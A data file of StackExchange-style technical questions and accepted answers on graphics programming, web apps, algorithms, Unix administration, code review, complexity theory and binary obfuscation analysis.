{  "id": "_computerscience.309"  , "question": "I'm trying to figure out what the best way is to generate an OpenGL texture using a compute shader. So far, I've read that pixel buffer objects are good for non-blocking CPU -> GPU transfers, and that compute shaders are capable of reading and writing buffers regardless of how they're bound. Ideally, I'd like to avoid as many copies as possible. In other words, I'd like to allocate a buffer on the GPU, write compressed texture data to it, and then use that buffer as a texture object in a shader.Currently, my code looks something like this:GLuint buffer;glGenBuffers(1, &buffer);glBindBuffer(GL_SHADER_STORAGE_BUFFER, buffer);glBufferStorage(GL_SHADER_STORAGE_BUFFER, tex_size_in_bytes, 0, 0);glBindBuffer(GL_SHADER_STORAGE_BUFFER, 0);// Bind buffer to resource in compute shader// execute compute shaderglBindBuffer(GL_PIXEL_UNPACK_BUFFER, buffer);glCompressedTexImage2D(GL_TEXTURE_2D, 0, fmt, w, h, 0, tex_size_in_bytes, 0);Is this correct? I read somewhere about guaranteeing synchronization, too. What do I need to add to make sure that my compute shader completes execution prior to copying from the buffer object?"  , "title": "Writing to a compressed texture using a compute shader, with no extra copies"  , "tags": "opengl;texture;compression;compute shader"  } 
{  "id": "_webapps.74973"  , "question": "When I want to create an event, I usually want to do it with a secondary calendar, so I have to click on the combo-box to change the calendar as follows:How could I set another calendar as the default one?"  , "title": "Create events with a secondary calendar by default"  , "tags": "google calendar"  , "accepted_answer": "As far as I know, there is no way to set a secondary calendar as the default selection in Google Calendar.Here are two workarounds which could perhaps make your life easier.Workaround 1: Using keyboard shortcutsIn your screenshot, you have selected the area from 00:00 to 02:30 with your mouse. Now, the cursor is in the What-field.Type the event nameTab to select the calendar drop-down menuc to select the calendar called carlos helder (first letter of the calendar)Tab to select the Create event-buttonEnter to save the eventNot the optimal solution, but at least Tab, c, Tab, Enter is most of the time faster than using the mouse.Workaround 2: Using a client calendar applicationPerhaps you can connect your Google Calendar account to some client calendar application which provides the option to select a secondary calendar as the default calendar for events.For iOS there is a paid app called Week Calendar which is pretty awesome and allows to select a default calendar or allows you to create template events.Source.For OS X the default Calendar application provides the option to select a default calendar.Source.Of course, this is no solution if you prefer to use the Google Calendar web interface."  } 
{  "id": "_cseducators.3318"  , "question": "Given the recent publicity surrounding the sacking of James Damore, and the contentious and heavily partisan nature of the debate around the memo; how would you recommend a teacher handles a student taking James Damore's stance on gender and computing?"  , "title": "gender and computing - handling the Google's Ideological Echo Chamber debate"  , "tags": "social context;gender;psychology"  } 
{  "id": "_cs.49462"  , "question": "This is a homework problem I've been given and I've been raking my brain for hours (so I'm satisfied with some pointers). I know already that the approximation ratio cannot be worse than $2$. I have a wheel graph, where each edge has cost $1$ and the distance between all nodes which are not connected by edges is $2$. The wheel graph $W_6$ is this one:I have marked in blue what I believe to be the output of an MST heuristic algorithm. But I also think this is the optimal solution, since all nodes can only be visited once. So the cost of the tour would be $7$ for both optimal and MST.I do not see how this type of graph shows that the $2$-approximation bound of MST heuristic is tight (not necessarily this instance, but the graphs $W_n$ in general). Can someone enlighten me?"  , "title": "Why does this graph show the tightness of MST heuristic's 2-approximation bound?"  , "tags": "algorithms;algorithm analysis;approximation;traveling salesman"  , "accepted_answer": "The graph I posted is missing some edges, adjacent nodes in the cycle are supposed to be connected. (Edit: Fixed the graph with TSP tour).The actual graph is thisMy solution goes as follows.Now the MST computed for for the MST heuristic is obviouslyallowing many euler tours, among others these ones:where the cycle nodes can be visited in any order. Now any of the tours are valid so we can choose the worst one, for instance $v_0,v_4,v_0,v_1,v_0,v_3,v_0,v_6,v_0,v_2,v_0,v_5,v_0$. Based on that tour, MST heuristic finds this TSP solution:Now since all edges have cost $1$ and and all nodes not connected in the graph have distance $2$, the cost of the tour is $2(n-1) + 2$ where the optimal tour would have cost $n+1$. In the limit$\\begin{equation*}   \\lim_{n\\rightarrow\\infty} \\frac{MST(W_n)}{Opt(W_n)} =   \\lim_{n\\rightarrow\\infty}\\frac{2n}{n+1} = 2\\end{equation*}$"  } 
{  "id": "_unix.375900"  , "question": "We have Linux Vm in our environment (rhel 5.11) . It's showing average CPU consumption +90%(%sys,%usr consumed but not %iowait) checked by sar and top.Now when I see top or ps outputs , it's showing no offending processes.Checked the machine from esxi as well (using esxtop) , there also it's showing CPU consumption on machine.Any suggestions what to troubleshoot further ?"  , "title": "Linux CPU consumption"  , "tags": "linux;vmware"  } 
{  "id": "_codereview.54253"  , "question": "Don't pay attention to the menu being awful above 789px.  The theoretical task was to support only tablets and smartphones and I didn't bother to make the menu look fine on other devices.  Just review it below 789px of VW.Here's a codepen to demonstrate.The page currently 100% matches the PSD designs and operates fine on all devices needed, though I am worried about the solutions I implemented to make it match.Setting the min-height to navbar to custom size and thus control the vertically centered looks on Collapse Button and Logo Image using padding.  I had to set width: 70% below 482px to .navbar-brand so as the image resizes not to overflow.Maybe there's a way of more like automatic approach to the navbar size and menus being centered? I used some LESS to also count the paddings, but it also involved using paddings.Creating this second-container-helper class for the right section named All Kinds of Birds not to have the padding-left for the query above 768px, but have it for query below 768px.What is the better way to implement the looks? I mean, the All Kinds of Birds content not having the padding-left for above 768px, but have it below 768px so as it matches the PSD mockup.HTML<html lang=en><head>  <meta charset=UTF-8>  <meta charset=utf-8>  <meta http-equiv=X-UA-Compatible content=IE=edge>  <meta name=viewport content=width=device-width, initial-scale=1>  <title>Document</title>  <!-- Styles Embedded -->  <link rel=stylesheet href=css/bootstrap.min.css>  <link rel=stylesheet href=css/styles.css>  <!-- Embedded Font Awesome for the right-caret icon -->  <link href=http://netdna.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css rel=stylesheet></head><body>  <nav class=navbar navbar-default role=navigation>      <div class=navbar-header>         <div class=container-fluid>            <button type=button class=navbar-toggle data-toggle=collapse data-target=#navbar-collapsed>              <span class=sr-only>Toggle navigation</span>              <span class=icon-bar></span>              <span class=icon-bar></span>              <span class=icon-bar></span>            </button>            <a class=navbar-brand href=#>              <img src=http://php.atservers.net/test/images/logo.png alt=>            </a>        </div> <!-- //.container-fluid (Brand and button wrapped together so as they don't affect navbar LIST items) -->      </div><!-- //.navbar-header -->      <div class=collapse navbar-collapse id=navbar-collapsed>        <ul class=nav navbar-nav>          <li class=active><a href=#>Home</a></li>          <li><a href=#>About Us</a></li>          <li><a href=#>Products</a></li>          <li><a href=#>Bird Information</a></li>          <li><a href=#>Contact</a></li>        </ul><!-- //.navbar-nav -->      </div> <!-- //.navbar-collapse -->  </nav>  <div class=row>    <div class=col-xs-12 col-sm-12>        <img src=http://php.atservers.net/test/images/bird-main.png class=custom-img alt=Hi, I'm a Bird>    </div> <!-- //.column -->  </div><!-- //.row -->  <div class=container-fluid>    <div class=row>      <div class=col-xs-12 col-sm-12>        <p class=section-header>Find Birds In Your Area</p>        <select name= id=>          <option value= selected>Select Your Region</option>          <option value=>CA</option>          <option value=>FL</option>          <option value=>WA</option>        </select>      </div>    </div> <!-- //.row -->  </div> <!-- //.container-fluid -->  <div class=container-fluid>    <div class=row>      <div class=col-xs-12 col-sm-12>        <p class=section-subheader>We'r Really Into Birds</p>        <p class=section-content><p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Perferendis vitae, tenetur, ullam animi, expedita facere enim deleniti excepturi dolor reprehenderit cupiditate saepe quidem voluptatem blanditiis ea dolore facilis totam fugit.</p><p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Perferendis vitae, tenetur, ullam animi, expedita facere enim deleniti excepturi dolor reprehenderit cupiditate saepe quidem voluptatem blanditiis ea dolore facilis totam fugit.</p></p>      </div><!-- //.column -->    </div> <!-- //.row-->  </div> <!-- //.container-fluid -->  <div class=row>    <div class=col-xs-12 col-sm-6 section-column>      <img src=http://php.atservers.net/test/images/tree-birds.png alt= class=custom-img>        <div class=container-fluid>          <div class=section>            <p class=section-subheader>Even Birds in Trees</p>            <p class=section-content>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Magnam excepturi voluptates harum fugit enim non, id porro repellendus soluta cupiditate consequuntur dignissimos dolorem sint corporis, illo aliquam blanditiis hic nam.</p>                <p class=section-content>                  <a href=# class=section-link><i class=fa fa-caret-right></i>Learn more about trees (and birds)</a>                </p>          </div> <!-- //.section -->      </div><!-- //.container-fluid -->    </div> <!-- //.column-->    <div class=col-xs-12 col-sm-6>        <img src=http://php.atservers.net/test/images/all-birds.png alt= class=custom-img>          <div class=second-container-helper> <!-- Need that not to have left paddings @iPad, but have them @iPhone -->            <div class=section>              <p class=section-subheader>All Kinds of Birds</p>              <p class=section-content>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Est tenetur, reprehenderit at odio sit cumque neque placeat impedit praesentium soluta dolorum architecto qui molestias facilis voluptatibus, ut unde. Tenetur, provident.</p>                  <p class=section-content>                    <a href=# class=section-link><i class=fa fa-caret-right></i>Learn more about trees (and birds)</a>                  </p>            </div><!-- //.section -->          </div> <!-- //.second-container-helper -->    </div> <!-- //.column -->  </div><!-- //.row -->    <footer>      <div class=container-fluid>        <div class=row>          <div class=col-xs-12 col-sm-12>            <div class=footer-credits>              <p class=text-muted> Registered trademark of An Amazing Company Name, an affiliate of independent Canadian birds</p>              <p class=text-muted> Copyright 2014 An Amazing Company Name</p>            </div> <!-- //.footer-credits -->          </div><!-- //.column -->          <div class=col-xs-12 col-sm-12>            <ul class=footer-nav>              <li><a href=#>Home</a></li>              <li><a href=#>Terms of Use</a></li>            </ul>          </div><!-- //.column -->        </div> <!-- //.row -->      </div><!-- //.container-fluid -->    </footer>  <script src=https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js></script>  <script src=http://php.atservers.net/test/js/bootstrap.min.js></script></body>CSS/* Global Styles */img{  height: auto;  width: 100%;  display: block;}a{  color: #ff6600;}.container-fluid{  padding-left: 40px;  padding-right: 40px;}/* //Global Styles *//* Navbar Styles */.navbar{  min-height: 158px;  background-color: #ffffff;  margin-bottom: 0;  border: none;}.navbar-default{  border: none;}.navbar-brand{  margin-top: 36px;}.navbar-default .navbar-toggle{  margin-top: 58px;}.navbar-default .navbar-collapse{  border-color: transparent;}.navbar-collapse.in{  margin-top: 65px;}.collapsing{  margin-top: 65px;}/* Navbar Colors and Fonts */.navbar-nav{  background-color: #ff6600;  padding-left: 40px;  padding-right: 40px;  margin: 0 -15px;}.navbar-default .navbar-nav > li > a{  color: #ffffff;  border-top: 1px solid #fff;}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus{  background-color: transparent;  color: #fff;  border-top: none;}.navbar-default .navbar-nav > li > a:hover, .navbar-default .navbar-nav > li > a:focus{  color: #fff;}/* //Navbar Colors and Fonts */.nav li:before{    font-family: 'Glyphicons Halflings';    content: \\e080;    float: right;    color: #fff;$    padding-top: 10px;}/* //Navbar Styles *//* Select Styles */select{  width: 100%;  background-color: #ffffff;  height: 60px;  font-size: 24px;  color: #c7c7cc;  border: 2px solid #c7c7cc;  border-radius: 4px;  -webkit-appearance: none;  background: url('../images/dropdown-arrow.png') no-repeat right;  background-position: 98%;}/* //Select Styles *//* Section Styles */.section{  margin-bottom: 30px;}.section-header{  font-weight: bold;  font-size: 30px;  color: #ff6600;  padding-top: 30px;  padding-bottom: 30px;}.section-subheader{  font-size: 28px;  color: #ff6600;  padding-top: 36px;  padding-bottom: 16px;}.section-content{  color: #999999;  font-size: 18px;}.section-link{  font-size: 14px;}.fa-caret-right{  padding-right: 10px;}.container-helper{  padding-right: 40px;}/* //Section Styles *//* Media Queries *//* Fix for iPhone select font size */@media screen and (max-width: 482px){  select{    font-size: 18px;  }}/* // Fix for iPhone *//* Section Media Queries Helpers *//* container in 2nd section has left padding below 768px to match PSD design */@media screen and (max-width: 768px){  .second-container-helper{    padding-left: 40px;  }}/* container in the left section doesnt have right padding after 768px, but has it below 768px */@media screen and (min-width: 768px){  .section-column .container-fluid{    padding-right: 0;  }}/* //Section Media Queries Helpers *//* Logo img resizes below 482px */@media screen and (max-width: 482px){  .navbar-brand{    width: 70%;    margin-top: 46px;    height: auto;  }}/* //Logo img resizes below 482px *//* //Media Queries *//* Footer Styles*/footer{  margin-top: 80px;}.footer-credits{  border-top: 1px solid #c7c7cc;}.footer-nav{  list-style: none;  padding-left: 0;}.footer-nav li{  float: left;  padding: 5px;}.footer-nav li a{  border-right: 1px solid #c7c7cc;  padding-right: 10px;}.footer-nav li:last-child a{  border-right: none;}/* Footer Styles */"  , "title": "HTML & CSS code for small responsive test project based on Bootstrap 3"  , "tags": "html;css;html5;twitter bootstrap"  , "accepted_answer": "Inappropriate use of markupYou're using paragraphs when you should be using heading tags (h1-h6) to markup your headlines (you also have a spelling error).<p class=section-subheader>We'r Really Into Birds</p>Should be:<h1 class=section-subheader>We're Really Into Birds</h1>You have some invalid markup, which can cause unexpected things to happen.  You're not allowed to place paragraphs inside other paragraphs:<p class=section-content><p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Perferendis vitae, tenetur, ullam animi, expedita facere enim deleniti excepturi dolor reprehenderit cupiditate saepe quidem voluptatem blanditiis ea dolore facilis totam fugit.</p><p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Perferendis vitae, tenetur, ullam animi, expedita facere enim deleniti excepturi dolor reprehenderit cupiditate saepe quidem voluptatem blanditiis ea dolore facilis totam fugit.</p></p>Should be:<div class=section-content><p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Perferendis vitae, tenetur, ullam animi, expedita facere enim deleniti excepturi dolor reprehenderit cupiditate saepe quidem voluptatem blanditiis ea dolore facilis totam fugit.</p><p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Perferendis vitae, tenetur, ullam animi, expedita facere enim deleniti excepturi dolor reprehenderit cupiditate saepe quidem voluptatem blanditiis ea dolore facilis totam fugit.</p></div>However, if all of your paragraphs have the same styles, the paragraph itself should be styled rather than apply classes to each and every one:p {    /* styles from the section-content class */}Creating empty markup for styling purposes is dirty and probably one of the worst things that Twitter's Bootstrap encourages (classitis being the other).  There are cleaner ways of creating this type of element:<button type=button class=navbar-toggle data-toggle=collapse data-target=#navbar-collapsed>  <span class=sr-only>Toggle navigation</span>  <span class=icon-bar></span>  <span class=icon-bar></span>  <span class=icon-bar></span></button>Should be something more like this:<button type=button class=navbar-toggle data-toggle=collapse data-target=#navbar-collapsed>  <span class=sr-only>Toggle navigation</span></button>And.navbar-toggle:before {    /* styles to make it look like the ubiquitous hamburger icon */}The second-container-helper classYou have a few things going on wrong here (whether its the implementation or the design, I can't tell because you haven't shown us the mock-up you're working from).  Either way, you don't need that extra element.You have a page that looks like this:In my opinion, it would be more aesthetically appealing if it looked like this:or this:However, all of them can be done with markup as simple as this by fiddling with the margins:<ul>  <li><p>A</p></li><!--  --><li><p>B</p></li></ul>1 http://codepen.io/cimmanon/pen/KxDbL2 http://codepen.io/cimmanon/pen/jtEGf (needs a bit of tweaking on the margins)3 http://codepen.io/cimmanon/pen/oryHJ"  } 
{  "id": "_codereview.129242"  , "question": "I've been doing some reading and tutorials. As such I've contrived a node based project to apply what I've learned. I thought this was a good example as it had some conditional async calls and error handling.Any and all criticism of not following current JS best practices welcome. /** * mkLocalCfg function,  * makes a local config directory structure and empty config file. * in the form ~/.config/nobjs/nobjs_config.json *  * @param {mkLocalCfgCallback} cb - The callback that handles the response. *  */function mkLocalCfg(cb) {    //validate root folder exists, if not make it.    if (!admin.hasHomeConfigDir()) {        fs.mkdir(os.homedir() + /.config, 775, function(err) {            //stop here if you can't make it.            if (err) {cb(err); return;}        });    }    fs.mkdir(admin.getConfigLocation(false), 775, function(err) {        //can't make config folder end it here        if (err) {cb(err); return;}        //write config file, return null or err on error        fs.writeFile(admin.getConfigLocation(true), JSON.stringify({blogs: {}}), function(err) {            if (err) {cb(err); return;}            cb(null);        });    });}"  , "title": "Optionally creating a directory path based based on existence in NodeJS"  , "tags": "javascript;node.js;file system"  , "accepted_answer": "There's one main issue I currently see with your code and that is that if the admin does not have a home configuration directory (admin.hasHomeConfigDir()) then it will be created asynchronously. The issue with this it that your second call won't wait for this, leading to a race condition where you're trying to make (and write to) a path that might not exist yet.One solution for this is to have a function inside your function that handles the second half of your creation (i.e. the config location creation and file writing).function createConfiguration(callback) {    // Make the configuration directory and write to the configuration.    var writeConfiguration = function() {        fs.mkdir(admin.getConfigLocation(false), 775, function(err) {            if (err) {                callback(err);                return;            }            // Write the configuration, either forwarding an error to the            // callback if an error occurs or nothing at all on success.            fs.writeFile(admin.getConfigLocation(true), JSON.stringify({blogs: {}}), function(err) {                if (err) {                    callback(err);                    return;                }                callback(null);            });        });    };    // If the admin home configuration directory exists, don't attempt to    // create it.    if (admin.hasHomeConfigDir()) {        writeConfiguration();    } else {        // Otherwise create the directory and write the configuration.        fs.mkdir(os.homedir() + /.config, 775, function(err) {            if (err) {                callback(err);                return;            }            writeConfiguration();        });    }}I tidied up your code a bit, mostly renaming things (e.g. renaming the function to have a simpler name, renaming arguments to be more readable) and rewording the comments.Another issue I have noticed with your code is that if the directory that admin.getConfigLocation(false) returns already exists, an error will be thrown. You should probably check whether or not the configuration location exists before creating it.Overall it's rather good and well written code, although I don't really have much experience in the field of JS standards so to speak."  } 
{  "id": "_unix.38560"  , "question": "I installed CUDA toolkit on my computer and started BOINC project on GPU. In BOINC I can see that it is running on GPU, but is there a tool that can show me more details about that what is running on GPU - GPU usage and memory usage?"  , "title": "GPU usage monitoring (CUDA)"  , "tags": "monitoring;gpu"  , "accepted_answer": "For Nvidia GPUs there is a tool nvidia-smi that can show memory usage, GPU utilization and temperature of GPU. There also is a list of compute processes and few more options but my graphic card (GeForce 9600 GT) is not fully supported.Sun May 13 20:02:49 2012       +------------------------------------------------------+                       | NVIDIA-SMI 3.295.40   Driver Version: 295.40         |                       |-------------------------------+----------------------+----------------------+| Nb.  Name                     | Bus Id        Disp.  | Volatile ECC SB / DB || Fan   Temp   Power Usage /Cap | Memory Usage         | GPU Util. Compute M. ||===============================+======================+======================|| 0.  GeForce 9600 GT           | 0000:01:00.0  N/A    |       N/A        N/A ||   0%   51 C  N/A   N/A /  N/A |  90%  459MB /  511MB |  N/A      Default    ||-------------------------------+----------------------+----------------------|| Compute processes:                                               GPU Memory ||  GPU  PID     Process name                                       Usage      ||=============================================================================||  0.           Not Supported                                                 |+-----------------------------------------------------------------------------+"  } 
{  "id": "_cstheory.14717"  , "question": "Given a connected arbitrary network $G = (V,E)$, where $V$ is a set of nodes (processors) and $E$ is the set of edges between the nodes. Each node $v _i$ is assigned a non-empty set $S(v _i)$, where $\\bigcup _i S(v _i) = S$. The set $S$ is a universe of size $k$. The objective is to let each node  $v _i$ find  a subset $S'(v _i) \\subseteq S(v _i)$ such that (by simply communicating with each other).$\\bigcup _i S'(v _i) = S$For each $v_i$ and $v _j$ such that $i \\neq j$, $S'(v _i) \\cap S'(v _j) = \\emptyset$. The idea is that no two set $S'(v_i)$ and $S'(v _j)$ share any common elements, while a set $S'(v _i)$ may be empty. Yet, every element of $S$ must be in a set $S'(v _i)$. The problem is quite simple as you notice. The problem is at least as costly as election. My questions though:Are there similar problems to this problem (note that the sets are not processors !) Do you think there are efficient randomized distributed algorithms for this problem ?  Any hints for some techniques that may help break the election bound. (By randomized: I mean I may relax the Req2. such that some nodes have intersecting sets, but not many of them).    Note: any computational model would be accepted (I m just looking for hints). But asynchronous computational model with unique ID's is perhaps the most preferred. "  , "title": "Distributed algorithms on sets"  , "tags": "reference request;randomized algorithms;dc.distributed comp"  } 
{  "id": "_webapps.911"  , "question": "Question is in the title.  What are the specific steps involved?"  , "title": "How do I add reCaptcha to my WordPress.com blog?"  , "tags": "wordpress"  , "accepted_answer": "As I know today that is not possible. Wordpress.com uses Askimet to protect you from spam."  } 
{  "id": "_webmaster.103298"  , "question": "For example, if my website's listings properly display the breadcrumbs rich snippet, but do not show the aggregate star rating rich snippet, should I assume it is something in the structure or is Google intentionally suppressing these?"  , "title": "Does Google pick and choose which rich snippets to display on their search results?"  , "tags": "google search;rich snippets"  } 
{  "id": "_unix.53503"  , "question": "In a GUI file manager it is possible to select a few files, press Ctrl-C (which supposedly copies come info about the files to clipboard), then navigate to another folder and press Ctrl-V, which will then copy the files into that directory.As an experiment, after copying files in the file manager, it is possible to switch to a text editor - pressing Ctrl-V there pastes a list of absolute filenames. The reverse process (copying a list of files from a text editor and pasting them to a file manager) does not work, which is supposedly due to different target atoms The goal of the exercise is to be able to copy some files from command line, for examplefind ${PWD} -name *.txt | xclip <magic parameters>then switch to a file manager and copy them all to a directory using File->Paste. So, the question is: What parameters of xclip (or other program) do I need to specify so file manager recognizes the selection as a list of files and enables its Paste menu item?Alternatively, is there a low-level tool which would allow to inspect the contents of X selection and see what data it currently contains?"  , "title": "Copying files from command line to clipboard"  , "tags": "command line;x11;clipboard"  , "accepted_answer": "Yes, basically, you'd need to offer the CLIPBOARD selection either as text/uri-list with the content being /path/to/file1/path/to/file2application/x-kde-cutselection or x-special/gnome-copied-files with content copy\\nfile://$path1\\nfile://$path2\\0 or cut\\nfile://$path1\\nfile://$path2...\\0With xclip you can achieve this with something likefind $PWD -name *.pdf| xclip -i -selection clipboard -t text/uri-listI've also found this loliclip command that looked promising, but though I could retrieve the values, I wasn't able to store them and have them retrieved from loliclip by pcmanfm successfully.You also should be able to implement it in a few lines of perl-tk."  } 
{  "id": "_unix.385490"  , "question": "I've created a systemd job using systemd-run --on-calendar .... Now I'replaced it with proper .timer and .service files. But i'm not able to remove the old one. I can stop it and disable it, but when i call systemctl list-timers he still appears with his arbitrary name run-r0d0dc22.... I also looked for his .timer file, but I don't find it. Thanks for help."  , "title": "Removing a timer created with systed-run --on-calendar"  , "tags": "systemd;systemd timer"  , "accepted_answer": "The transient files end up in /run/user/ and do not seem to ever be removed until the user logs out (for systemd-run --user) or until a reboot, when /run is recreated.For example, if you create a command to run once only at a given time:systemd-run --user --on-calendar '2017-08-12 14:46' /bin/bash -c 'echo done >/tmp/done'You will get files owned by you in /run:/run/user/1000/systemd/user/run-28810.service/run/user/1000/systemd/user/run-28810.service.d/50-Description.conf/run/user/1000/systemd/user/run-28810.service.d/50-ExecStart.conf/run/user/1000/systemd/user/run-28810.timer/run/user/1000/systemd/user/run-28810.timer.d/50-Description.conf/run/user/1000/systemd/user/run-28810.timer.d/50-OnCalendar.confFor non --user the files are in /run/systemd/system/You can remove the files, do a systemctl [--user] daemon-reload and then list-timers will show only the Unit name, with their last history if they have already run. This information is probably held within systemd's internal status or journal files."  } 
{  "id": "_unix.343920"  , "question": "I wrote this simple script and I need some help.export http_proxy='http://proxy.test.cz:1234/'wget -nvq --proxy-user=test --proxy-password=test google.com &>/dev/null | grep -q 'You cant user internet' || echo Proxy isnt working.  | mail -s Proxy isnt working -r No-reply<no-reply@soma.cz> test@mail.czSteps taken:Export the address of our proxyDownload from www.google.com with wgetCheck result from proxy for 'You cant user internet' If found, then it should end but where not found it should send email to my address.Problem is that it sends email even if it finds 'You cant user internet'. Any help please ? "  , "title": "Trying to test if proxy is working"  , "tags": "linux;bash;scripting;proxy;test"  } 
{  "id": "_cs.26317"  , "question": "If $B$ is a complexity class, then the class $P^B$ (for example) is defined as the set of problems that can be run in polynomial time, given an oracle to every problem in $B$.  That's what they told me in my Theory of Computation class, anyways.Per this definition, it seems to me that $P^P$ captures every decidable language.  Here's why I think that:Let $M$ be a TM that always halts.  On input $x$, construct a new machine $M'$ that: (1) checks to see if the input is equal to $x$, (2) if its input is $x$ then it simulates $M$ on $x$, (3) if its input is not $x$ then it instantly rejects.This new machine $M'$ runs in $O(n)$ time, so in the class $P^P$, we have an oracle to it.  We can now consult this oracle to find out if $M'$ accepts $x$, and we learn in only $O(n)$ time whether or not $M$ accepts $x$.  So we have an algorithm that decides $M$ and runs in $TIME(O(n))$, given an oracle to some countable set of problems in $TIME(O(n))$ (e.g. every $M'$, constructed with respect to every possible finite bitstring $x$).What am I misunderstanding?Here is an attempt to clarify my confusion.This is the model that I think we are using:There are three tapes usable by the Oracle Turing Machine: a standard worktape, an oracle input tape, and an oracle machine tape.  The OTM can enter a special state where it takes the machine description written on the oracle machine tape, performs a magical 1-step simulation of that machine on input equal to the contents of the oracle input tape, and then writes down a $1$ or a $0$ on the worktape according to the results of the simulation.Define: A language $L$ is in $P^P$ if there is an OTM that decides L and always halts in $p(n)$ steps on length $n$ input (for some polynomial $p$), and also for every Turing machine description $M$ used by the OTM, there exists a polynomial $q$ such that $M$ halts in $q(n)$ steps on input $M$.Then my argument is valid, I think: every machine that we write down runs in linear time overall (even though the constant associated with that machine will grow very quickly for increasingly-long inputs).This wouldn't be a problem if we flipped the quantifiers (i.e. there exists a polynomial $q(n)$ such that every machine description $M$ used by the OTM halts in $q(n)$ steps).  But I'm not sure that still describes $P^P$..."  , "title": "Question about the definition of complexity class oracles"  , "tags": "complexity theory;terminology;oracle machines"  , "accepted_answer": "Either you're misunderstanding what they said, or you're not misunderstanding anything.If $B$ is a complexity class, then the class $P^B$ is defined as $\\bigcup_{L \\in  B} P^{L}$. (That applies even when $B$ does not have a complete problem.)If $B$ is a complexity class and $K$ is complete for $B$ under polynomial-time Turing reductions, then $P^B = P^K$.Proof: If those hypotheses hold then for all languages $L$ in $B$, by using the reduction to simulate oracle queries to $L$, one has $P^L \\subseteq P^K$.Thus, if those hypotheses hold then $P^K \\subseteq \\bigcup_{L \\in B} P^{L} = P^B  = \\bigcup_{L \\in B} P^{L} \\subseteq \\bigcup_{L \\in B} P^{K} = P^K$.Therefore, if those hypotheses hold then $P^B = P^K$."  } 
{  "id": "_codereview.140001"  , "question": "Which way should I prefer? How can I go about making the right decision when it comes to these types of things?Code based on a 'conditional sleep' where the condition needs to be determined by calling code. //Used throughout the examplespublic interface Conditional{    boolean condition();}//The abstract class...public abstract static class ConditionalSleep{    public abstract boolean condition();    public void sleep(long time, TimeUnit timeUnit){        if(!condition()) return;        try {            Thread.sleep(timeUnit.toMillis(time));        } catch (InterruptedException e) {            e.printStackTrace();        }    }}//The utility classpublic static final class ThreadUtils {    public static void sleep(long time, TimeUnit timeUnit){        try {            Thread.sleep(timeUnit.toMillis(time));        } catch (InterruptedException e) {            e.printStackTrace();        }    }    public static void sleep(long time, TimeUnit t, Conditional c){        if(!c.condition()) return;        ThreadUtils.sleep(time,t);    }}//The sleeper class coupled to an interface..public static class Sleeper{    private Conditional conditional;    public void sleep(long time,TimeUnit timeUnit){        if(conditional != null && !conditional.condition()) return;        try {            Thread.sleep(timeUnit.toMillis(time));        } catch (InterruptedException e) {            e.printStackTrace();        }    }    public void sleep(long time, TimeUnit timeUnit, Conditional c){        if(c!= null && !c.condition()) return;        sleep(time,timeUnit);    }    public void setConditional(Conditional conditional){        this.conditional = conditional;    }}public static void main(String[] args) {    //or even..    if(1>1){        try {            Thread.sleep(1000);        } catch (InterruptedException e) {            e.printStackTrace();        }    }}"  , "title": "Conditional sleeper"  , "tags": "java;comparative review"  } 
{  "id": "_unix.351753"  , "question": "Like the title states, I have a simple apache2 server set up on my raspberry pi to run a local website at home.I'd like to be able to use PHP to read the contents of other folders on the Raspberry Pi, outside of the specified wwwroot.  I actually keep my wwwroot in my samba drive on the raspberry pi, located in:/network-drive/websiteI'd like to be able to access other folders in the /network-drive directory using PHP scripts inside the website folder.Is this possible? I tried disabling open_basedir in php.ini, but that didn't change anything!"  , "title": "Raspberry Pi & Apache2, Accessing files outside of webroot"  , "tags": "apache httpd;php"  } 
{  "id": "_reverseengineering.1531"  , "question": "I analyzed some binaries in x86/x86-64 using some obfuscation tricks. One was called overlapping instructions. Can someone explain how does this obfuscation work and how to work around?"  , "title": "What is overlapping instructions obfuscation?"  , "tags": "obfuscation;binary analysis;deobfuscation"  , "accepted_answer": "The paper Static Analysis of x86 Executables explains overlapping instructions quite well. The following example is taken from it (page 28):0000: B8 00 03 C1 BB  mov eax, 0xBBC103000005: B9 00 00 00 05  mov ecx, 0x05000000000A: 03 C1           add eax, ecx000C: EB F4           jmp $-10000E: 03 C3           add eax, ebx0010: C3              retBy looking at the code, it is not apparent what the value of eax will be at the return instruction (or that the return instruction is ever reached, for that matter). This is due to the jump from 000C to 0002, an address which is not explicitly present in the listing (jmp $-10 denotes a relative jump from the current program counter value, which is 0xC, and 0xC10 = 2). This jump transfers control to the third byte of the five byte long move instruction at address 0000. Executing the byte sequence starting at address 0002 unfolds a completely new instruction stream:0000: B8 00 03 C1 BB  mov eax, 0xBBC103000005: B9 00 00 00 05  mov ecx, 0x05000000000A: 03 C1           add eax, ecx000C: EB F4           jmp $-100002: 03 C1           add eax, ecx0004: BB B9 00 00 00  mov ebx, 0xB90009: 05 03 C1 EB F4  add eax, 0xF4EBC103000E: 03 C3           add eax, ebx0010: C3              retIt would be interesting to know if/how Ida Pro and especially the Hex Rays plugin handle this. Perhaps @IgorSkochinsky can comment on this..."  } 
{  "id": "_unix.333674"  , "question": "So in a previous version of ffmpeg it introduced a -safe 0 or -safe 1 option. I discovered this as I had a bash script that used ffmpeg with absolute paths i.e. in /dev/shm/. For the last 6 months or so I have worked around this by using the -safe 0 option.Today while playing around I found that the latest version of ffmpeg in Ubuntu 16.10 returns     Option safe not foundwhen trying to use the -safe flag. Did they finally decide to do away with the -safe option? Or is this a mis-build?"  , "title": "ffmpeg changed safe option again?"  , "tags": "ubuntu;ffmpeg"  } 
